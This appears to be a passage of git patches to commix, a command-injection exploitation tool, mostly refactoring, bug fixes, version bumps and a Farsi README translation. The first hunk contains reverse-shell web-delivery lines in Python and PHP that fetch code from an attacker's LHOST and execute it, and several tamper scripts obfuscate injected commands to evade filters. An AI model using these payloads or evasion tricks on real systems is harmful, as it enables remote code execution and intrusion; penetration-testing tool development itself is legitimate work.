+477,7 @@ def other_reverse_shells(separator): # Powershell injection attacks elif other_shell == '11': - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: windows_only_attack_vector() continue else: @@ -615,7 +615,7 @@ def other_reverse_shells(separator): if web_delivery == '1': data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" @@ -626,7 +626,7 @@ def other_reverse_shells(separator): msf_launch_msg(output) break elif web_delivery == '2': - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" else: @@ -634,7 +634,7 @@ def other_reverse_shells(separator): msf_launch_msg(output) break elif web_delivery == '3': - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: windows_only_attack_vector() continue else: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 4696cc30af..eac9fd0cff 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -39,7 +39,7 @@ def add_back_slashes(payload): payload = payload.replace(_,_.replace(obf_char,"")) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 40186a5d40..bb1da64b9f 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -47,7 +47,7 @@ def add_caret_symbol(payload): payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 649d7116de..64df38427b 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -37,7 +37,7 @@ def add_dollar_at_signs(payload): payload = payload.replace(_,_.replace(obf_char,"")) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index e449794dc2..8f4d89d1de 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -33,7 +33,7 @@ def tamper(payload): def add_double_quotes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = '""' - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = re.sub(r'([b-zD-Z])', r'""\1', payload) else: word = "tokens" diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index c26af491f8..3b761cd034 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -31,7 +31,7 @@ double_quote = "\"" def tamper(payload): def nested(payload): - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if not menu.options.prefix and not menu.options.suffix: payload = double_quote + payload + double_quote @@ -47,7 +47,7 @@ def nested(payload): menu.options.suffix = double_quote return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index f5d3d5dbd5..dc9019da80 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -37,7 +37,7 @@ def add_single_quotes(payload): payload = payload.replace(_,_.replace(obf_char,"")) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index ef4255cf20..cfe7b60a1e 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -34,7 +34,7 @@ def add_slash2env(payload): payload = payload.replace("/", "${PATH%%u*}") return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 90563587c6..04f4be2178 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -34,7 +34,7 @@ def tamper(payload): def sleep_to_timeout_ping(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 5373dee4a5..d61c1f1e5d 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -42,7 +42,7 @@ def sleep_to_usleep(payload): payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.CLASSIC_STATE != False or \ settings.EVAL_BASED_STATE != False or \ settings.FILE_BASED_STATE != False: diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index b4d61d2a36..49e68cf4ba 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -29,7 +29,7 @@ def tamper(payload): if space2ifs in settings.WHITESPACES[0] and \ settings.EVAL_BASED_STATE != False: settings.WHITESPACES[0] = "\${IFS}" - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2ifs diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index a59ddc21dc..5d7c268039 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -27,7 +27,7 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2vtab diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 832c114365..9ef2e8bdd1 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -41,7 +41,7 @@ def add_uninitialized_variable(payload): payload = payload.replace(_,_.replace(obf_char,"")) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 22024def71..821e83c8fa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -363,8 +363,12 @@ def sys_argv_errors(): # Use a proxy to connect to the target URL. SCHEME = "" +class OS(object): + UNIX = "unix" + WINDOWS = "win" + # Default target host OS (Unix-like) -TARGET_OS = "unix" +TARGET_OS = OS.UNIX # Verbosity level: 0-1 (default 0) VERBOSITY_LEVEL = 0 From 328730ce808571b7d6b402a64ccebf0f2502bae1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 15 Jun 2023 08:32:14 +0300 Subject: [PATCH 317/560] Fixes https://github.com/commixproject/commix/issues/846 --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0ec1a640fe..039d362b1b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1808,7 +1808,7 @@ def check_similarities(all_params): json_data = json.loads(all_params, object_pairs_hook=OrderedDict) all_params = flatten(json_data) for param in all_params: - if all_params[param] in param: + if type(all_params[param]) is str and all_params[param] in param: all_params[param] = all_params[param] + settings.RANDOM_TAG all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] except Exception as e: diff --git a/src/utils/settings.py b/src/utils/settings.py index 821e83c8fa..91b4467551 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 1b0ccb4db6f45634020186727e1d76a7ad3e5661 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 16 Jun 2023 08:44:58 +0300 Subject: [PATCH 318/560] Minor update --- src/core/injections/controller/controller.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2f7025e63d..856176a59a 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -206,7 +206,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "c" in menu.options.tech): if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - settings.CLASSIC_STATE = True + settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True checks.skip_command_injection_tests() else: settings.CLASSIC_STATE = False @@ -237,7 +237,7 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "t" in menu.options.tech): if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.TIME_BASED_STATE = True + settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True checks.skip_command_injection_tests() else: settings.TIME_BASED_STATE = False @@ -252,7 +252,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.FILE_BASED_STATE = True + settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True else: settings.FILE_BASED_STATE = False if settings.FILE_BASED_STATE == None: diff --git a/src/utils/settings.py b/src/utils/settings.py index 91b4467551..075e5e818a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0b27eee52dadc579896864a4080a3bdd3bb0e50d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 19 Jun 2023 08:57:13 +0300 Subject: [PATCH 319/560] Minor update --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index be742cc330..66aabcb2ad 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -84,10 +84,10 @@ def is_empty(): elif value is None: if check_batch and menu.options.batch: + print(settings.print_message(message + str(default))) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the default behavior, running in batch mode." print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + str(default))) return default else: return is_empty() diff --git a/src/utils/settings.py b/src/utils/settings.py index 075e5e818a..b00a1663ef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 27a6f0d884d3ccae510fe4ee81699aebafa00fec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 20 Jun 2023 07:28:59 +0300 Subject: [PATCH 320/560] Minor update regarding commit https://github.com/commixproject/commix/commit/edb2229ae6e4f0b477712b0752aca86a95df7252 --- src/core/tamper/backslashes.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index eac9fd0cff..42a8434b23 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -32,7 +32,7 @@ def tamper(payload): def add_back_slashes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = "\\" - payload = re.sub(r'([b-zD-Z])', r"\\\1", payload) + payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 64df38427b..b5a4194e3d 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -30,7 +30,7 @@ def tamper(payload): def add_dollar_at_signs(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = "$@" - payload = re.sub(r'([b-zD-Z])', r"$@\1", payload) + payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index dc9019da80..7a13939344 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -30,7 +30,7 @@ def tamper(payload): def add_single_quotes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = "''" - payload = re.sub(r'([b-zD-Z])', r"''\1", payload) + payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/utils/settings.py b/src/utils/settings.py index b00a1663ef..22af6add67 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6b826985748820b0996c85c8495c504c555dd856 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 21 Jun 2023 07:30:03 +0300 Subject: [PATCH 321/560] Trivial update --- src/core/injections/controller/checks.py | 18 +++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 039d362b1b..278a78f281 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1224,23 +1224,27 @@ def tamper_scripts(stored_tamper_scripts): err_msg += "Use the '--list-tampers' option for listing available tamper scripts." print(settings.print_critical_msg(err_msg)) raise SystemExit() - info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " - print(settings.print_info_msg(info_msg)) + if not stored_tamper_scripts: + info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " + print(settings.print_info_msg(info_msg)) for script in provided_scripts: if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] - print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) warn_msg = "" if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "The dynamic code evaluation technique does not support the usage of '" + script + ".py' tamper script. Skipping." + warn_msg = "The dynamic code evaluation technique does " elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping." + warn_msg = "Windows targets do " elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "Unix-like targets do not support the usage of '" + script + ".py' tamper script. Skipping." + warn_msg = "Unix-like targets do " if len(warn_msg) != 0: - print(settings.print_warning_msg(warn_msg)) + if not stored_tamper_scripts: + warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." + print(settings.print_warning_msg(warn_msg)) else: + if not stored_tamper_scripts: + print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): diff --git a/src/utils/settings.py b/src/utils/settings.py index 22af6add67..d426bd2f32 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 01f8500af7814680fa7743b19839efa4ff8bc58a Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Wed, 21 Jun 2023 07:37:43 +0300 Subject: [PATCH 322/560] Update builds.yml --- .github/workflows/builds.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index e70e2e3e08..0564104390 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ] + python-version: [ '3.10', 'pypy-2.7', 'pypy-3.7' ] steps: - uses: actions/checkout@v2 - name: Set up Python @@ -20,4 +20,4 @@ jobs: - name: Basic import test run: python -c "import commix" - name: Basic smoke test - run: python commix.py --smoke-test \ No newline at end of file + run: python commix.py --smoke-test From cc1a4ad642472a743c17230ee07ce805e6f70115 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 22 Jun 2023 08:40:52 +0300 Subject: [PATCH 323/560] Fixes https://github.com/commixproject/commix/issues/848 --- src/core/requests/parameters.py | 13 ++++++++++--- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e0423c1b3a..3ae225e12a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -75,7 +75,11 @@ def multi_params_get_value(parameter): # Find the parameter part parameters = url.split("?")[1] # Split parameters - multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) + try: + multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) + except ValueError as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) @@ -237,7 +241,6 @@ def multi_params_get_value(param, all_params): else: try: multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) - multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -454,7 +457,11 @@ def multi_params_get_value(parameter): # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. cookie = checks.wildcard_character(cookie) - multi_parameters = cookie.split(settings.COOKIE_DELIMITER) + try: + multi_parameters = cookie.split(settings.COOKIE_DELIMITER) + except ValueError as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) diff --git a/src/utils/settings.py b/src/utils/settings.py index d426bd2f32..2df20cdbe8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b1ca4835e7b4779d74cc42ae0fd32a6600961ecc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 3 Jul 2023 09:42:44 +0300 Subject: [PATCH 324/560] Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 13 +++++++++---- src/core/injections/controller/controller.py | 4 ++-- src/utils/settings.py | 2 +- 4 files changed, 13 insertions(+), 7 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index efabe5c04b..e9fe69ec71 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 278a78f281..f8ca732462 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1644,7 +1644,7 @@ def skip_empty(empty_parameters, http_request_method): warn_msg += " '" + empty_parameters + "'" warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1] warn_msg += "been skipped from testing" - warn_msg += " due to empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." + warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." print(settings.print_warning_msg(warn_msg)) @@ -1706,12 +1706,17 @@ def is_empty(multi_parameters, http_request_method): if len(empty_parameters) == len(multi_parameters): all_empty = True - + if menu.options.skip_empty: + settings.SKIP_PARAMETER = empty_parameters + empty_parameters = ", ".join(empty_parameters) if len(empty_parameters) > 0: - if menu.options.skip_empty and all_empty: + if menu.options.skip_empty: skip_empty(empty_parameters, http_request_method) - return True + if all_empty: + return all_empty + else: + return False else: warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] warn_msg += " for " + http_request_method diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 856176a59a..f2d73dcf16 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -545,7 +545,7 @@ def get_request(url, http_request_method, filename, timesec): for i in range(0, len(found_url)): url = found_url[i] check_parameter = parameters.vuln_GET_param(url) - if check_parameter != url: + if check_parameter != url and check_parameter not in settings.SKIP_PARAMETER: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter # Check if testable parameter(s) are provided @@ -605,7 +605,7 @@ def post_request(url, http_request_method, filename, timesec): #if settings.INJECT_TAG in found_parameter[i]: parameter = menu.options.data = found_parameter[i] check_parameter = parameters.vuln_POST_param(parameter, url) - if check_parameter != parameter: + if check_parameter != parameter and check_parameter not in settings.SKIP_PARAMETER: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter # Check if testable parameter(s) are provided diff --git a/src/utils/settings.py b/src/utils/settings.py index 2df20cdbe8..1e62e347b9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f8d1c015fba024aad6e22b225683ceb310cef85f Mon Sep 17 00:00:00 2001 From: "Md. Reza Rezaee" Date: Thu, 6 Jul 2023 21:58:20 +0200 Subject: [PATCH 325/560] added translation for README in Farsi(Persian) --- README.md | 3 +- doc/translations/README-fa-FA.md | 48 ++++++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+), 1 deletion(-) create mode 100644 doc/translations/README-fa-FA.md diff --git a/README.md b/README.md index 34e8aeb1b8..a014f7fc26 100644 --- a/README.md +++ b/README.md @@ -44,4 +44,5 @@ To get an overview of commix available options, switches and/or basic ideas on h ## Translations * [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) -* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) \ No newline at end of file +* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) +* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) \ No newline at end of file diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md new file mode 100644 index 0000000000..603bdde0ad --- /dev/null +++ b/doc/translations/README-fa-FA.md @@ -0,0 +1,48 @@ +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + Twitter +

+

+ +**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار می‌کند. + + +![Screenshot](https://commixproject.com/images/background.png) +می‌توانید از [مجموعه اسکرین‌ شات‌ها](https://github.com/commixproject/commix/wiki/Screenshots) که نشان‌دهنده بعضی از ویژگی‌ها است در صفحه ویکی دیدن کنید. + +## نصب و راه‌اندازی + +در هر پلتفرمی می‌توانید با کلون کردن مخزن رسمی گیت کامیکس را دانلود کنید : + + $ git clone https://github.com/commixproject/commix.git commix + +از سوی دیگر, می‌توانید جدیدترین [tarball](https://github.com/commixproject/commix/tarball/master) یا [zipball](https://github.com/commixproject/commix/zipball/master) را دانلود کیند. + +*__توجه:__ **[پایتون](http://www.python.org/download/)** (نسخه **2.6**, **2.7** یا **3** به بعد) برای اجرای کامیکس مورد نیاز است.* + + +## استفاده + +برای دریافت لیستی از همه گزینه‌ها و سوئیچ‌ها از این دستور استفاده کنید: + + $ python commix.py -h + +برای دریافت نمای کلی از گزینه‌های موجود, سوئیچ‌ها و/یا ایده‌های اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, **[مثال‌های استفاده](https://github.com/commixproject/commix/wiki/Usage-Examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-Bypasses)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید. + + +## پیوندها + +* راهنمای کاربر: https://github.com/commixproject/commix/wiki +* ردیاب مسائل: https://github.com/commixproject/commix/issues + + +## ترجمه‌ها + +* [یونانی](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) +* [اندونزیایی](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) +* [فارسی](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) \ No newline at end of file From f3731856247947533dea7a643a4868473335b29b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Jul 2023 19:17:26 +0300 Subject: [PATCH 326/560] Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). --- doc/CHANGELOG.md | 1 + .../techniques/eval_based/eb_enumeration.py | 12 ++++++------ .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/eval_based/eb_injector.py | 4 ++++ src/utils/settings.py | 2 +- 5 files changed, 13 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e9fe69ec71..fc52cb9128 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding dynamic code 